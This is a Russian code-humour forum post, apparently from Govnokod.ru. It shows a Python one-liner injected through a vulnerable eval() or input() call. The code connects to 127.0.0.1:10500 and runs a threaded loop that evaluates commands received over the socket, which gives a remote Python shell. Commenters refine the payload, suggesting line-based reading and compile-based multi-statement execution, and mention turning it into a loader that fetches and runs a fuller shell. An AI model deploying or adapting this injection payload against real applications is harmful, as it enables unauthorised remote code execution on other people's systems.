Говнокод #11923 — Python — Говнокод.ру

Python / Говнокод #11923

−94
1. 1
2. 2
3. 3
4. 4
5. 5
6. 6
7. 7
8. 8
```
42 if (
    setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
    setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
    setattr(__builtins__,'___worker' ,lambda S: any( 
        (True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
        ),
    __builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
    ) else 0
```
Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
Отформатировано для удобства чтения, вообще это однострочник.

Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.

Запостил: Vindicar, 15 Октября 2012

Tweet
Комментарии (24) RSS
- anonimb84a2f6fd141 01.04.2013 21:38 # −1
  
  Охуенно
  Ответить
  - bormand 02.04.2013 05:24 # 0
    
    __питоничненько__
    
    А у ___worker и ___conn аж по три __подчеркивания__... __Автор__, __видимо__, к __ним__ __неравнодушен__.
    Ответить
    - Vindicar 02.04.2013 09:51 # −1
      
      по три для избежания коллизий, потому что эта фигня впихивается в __builtins__, то есть доступна из любого места программы.
      Ответить
      
      bormand 02.04.2013 10:19 # +1
      
      А потом еще какая-нибудь хуйня будет юзать 4 подчеркивания, чтобы не конфликтовать с этой...
      
      Вот в питоне очень мало вещей, которые меня действительно бесят - "тернарник" и подчеркивания на приватных переменных.
      Ответить
      
      anonimb84a2f6fd141 02.04.2013 18:13 # −1
      
      Подчеркивания с двух сторон - это не приватные, а зарезервированые.
      
      А я-то думал, это отсутствие констант, возможности объявить переменную, куча глюков в двойке, которые всем похуй, затянувшийся переход на тройку. Но нет, это подчеркивания.
      
      Да и нечего цепляться к шеллкоду. Обычно так не пишут.
      Ответить
      
      bormand 02.04.2013 18:47 # 0
      
      > Подчеркивания с двух сторон - это не приватные, а зарезервированые.
      Я знаю. Я про __переменные.
      
      > отсутствие констант
      > возможности объявить переменную
      Ну дык ради этого питон и затевался... Если в него вводить подобные ограничения - получится вторая жаба.
      
      > затянувшийся переход на тройку
      А это да. Причем очень показательный эксперимент. Довольно молодой язык переходит уже столько лет... Отсюда можно сделать вывод, что любой язык старше питона, на котором уже куча наработок, через такую трансформацию или не пройдет вообще, или будет проходить еще дольше.
      Ответить
      
      3.14159265 02.04.2013 18:49 # −1
      
      > получится вторая жаба.
      С удобной стандартной либой.
      
      >Ну дык ради этого питон и затевался.
      Не пойму зачем в аналогичный по простоте js пробуют пихать то что там не нужно.
      
      А так согласен, эти идиотские подчеркивания и меня отвращают.
      Ответить
      
      anonimb84a2f6fd141 02.04.2013 20:46 # −1
      
      >Ну дык ради этого питон и затевался... Если в него вводить подобные ограничения - получится вторая жаба.
      Из перла не получилось? Если он и УГ, то вовсе не из-за use strict.
      Есть же __slots__, почему бы не сделать аналогично для модулей?
      
      >Я знаю. Я про __переменные.
      Так многие кретины их и не используют. Вкупе с отстутствием @Override, гадай потом - какая функция используется извне, а какая - нет.
      
      >Довольно молодой язык переходит уже столько лет... Отсюда можно сделать вывод, что любой язык старше питона, на котором уже куча наработок, через такую трансформацию или не пройдет вообще, или будет проходить еще дольше.
      Это - частично следствие мегадинамичности, автоматические конверторы просто нихуя нормально не работают, по сути - обычный поиск с заменой. Даже переименование по alt+shift+r в pydev распидараживает весь код.
      И вдогонку - использовать python 2 и python 3 в одной проге нельзя вообще никак. На последних двойках можно писать почти как на тройке, но грабли это не отменяет, естественно.
      Ответить
      
      Vindicar 02.04.2013 23:39 # −1
      
      ну это изначально хак-однострочник-proof-of-concept, так что на него ориентироваться никто не будет.
      Ответить
      
      anonimb84a2f6fd141 02.04.2013 18:14 # −1
      
      Кстати, а зачем __builtins__?
      Ответить
      
      Vindicar 02.04.2013 23:41 # −1
      
      объявить переменную присваиванием не получилось, вот и запихнул куда придется. Говно, да.
      Ответить
- anonimb84a2f6fd141 02.04.2013 18:18 # −1
  Кстати, eval(S.recv(4096) меня смущает - а что, если комадна больше? Я бы сделал
  
  f = sock.makefile() for line in f: ...
  Ответить
  - Vindicar 02.04.2013 23:43 # −1
    
    Хммм, так что ли?
    
    all( (True,eval(line)) for line in sock.makefile() )
    
    Ну может и так прокатит.
    Ответить
    - anonimb84a2f6fd141 04.04.2013 21:32 # −1
      
      А, так это твой говнокод? :)
      
      На джвойке еще надо буферизацию для файла отключить, иначе ты будешь получать данные только после закрытия соединения.
      
      А зачем
      (True,eval(line))
      ? Хотя, можно и так, а можно и
      (eval(line),)
      Ответить
      
      Vindicar 05.04.2013 09:48 # −1
      
      Ну просто eval(line) нельзя, потому что eval() может вернуть эквивалент False и цикл прервется. А вот (eval(line),) должно сработать, да.
      Ответить
      
      guest 20.05.2014 07:18 # 0
      
      делай join потом eval
      Ответить
- anonimb84a2f6fd141 04.04.2013 23:36 # −1
  ТС, как это не печально, но твой говнокод не нужен.
  
  eval(compile('print 1; print 2', '<string>', 'exec'))
  Ответить
  - Vindicar 05.04.2013 09:54 # −1
    
    Проблема в том что eval()/input() находится в уязвимом приложении и нам неподконтролен, так что я исходил из предположения что передаётся туда строка, а не code object.
    По хорошему-то можно обойтись и без цикла, превратив код из говношелла в bootstrap, который выкачивает настоящий шелл и выполняет отдельным потоком. Но это было бы не так весело.
    Ответить
    - anonimb84a2f6fd141 05.04.2013 17:20 # −1
      
      >>> eval("eval(compile('print 1; print 2', '<string>', 'exec'))") 1 2
      
      С input аналогично.
      
      А насчет "не так весело" ты, конечно, прав :)
      Ответить
      
      Vindicar 06.04.2013 18:22 # −1
      
      А, теперь понял. Да, можно и так.
      Ответить
      
      anonimb84a2f6fd141 06.04.2013 21:50 # −1
      
      Ну вот, а так хорошо все начиналось :)
      Ответить
- guest 20.05.2014 07:07 # 0
  
  Один дурачок даже написал об этом статью, а второй перевел на кабр. Вот так отсос.
  http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
  Ответить
  - guest 20.05.2014 07:23 # 0
    
    это охрененно опасно. Эвальщиков нужно вообще расстреливать. Уязвимости распространяют по осям. Я бы удалил пистон будь моя воля чуть подлиннее.
    Ответить
  - guest 20.05.2014 14:02 # 0
    
    Ха-ха, этот мудак коменты трет.
    Ответить
Добавить комментарий
Ошибка компиляции комментария:

Гости могут высказаться только в понедельник, среду, четверг или воскресение
Я, guest, находясь в здравом уме и твердой памяти, торжественно заявляю:

А не использовать ли нам bbcode?

[b]жирный[/b] — жирный

[i]курсив[/i] — курсив

[u]подчеркнутый[/u] — подчеркнутый

[s]перечеркнутый[/s] — перечеркнутый

[blink]мигающий[/blink] — мигающий

[color=red]цвет[/color] — цвет (подробнее)

[size=20]размер[/size] — размер (подробнее)

[code=<language>]some code[/code] (подробнее)

Проверочный код: *

Говнокод: по колено в коде.

Python / Говнокод #11923

Комментарии (24) RSS

Добавить комментарий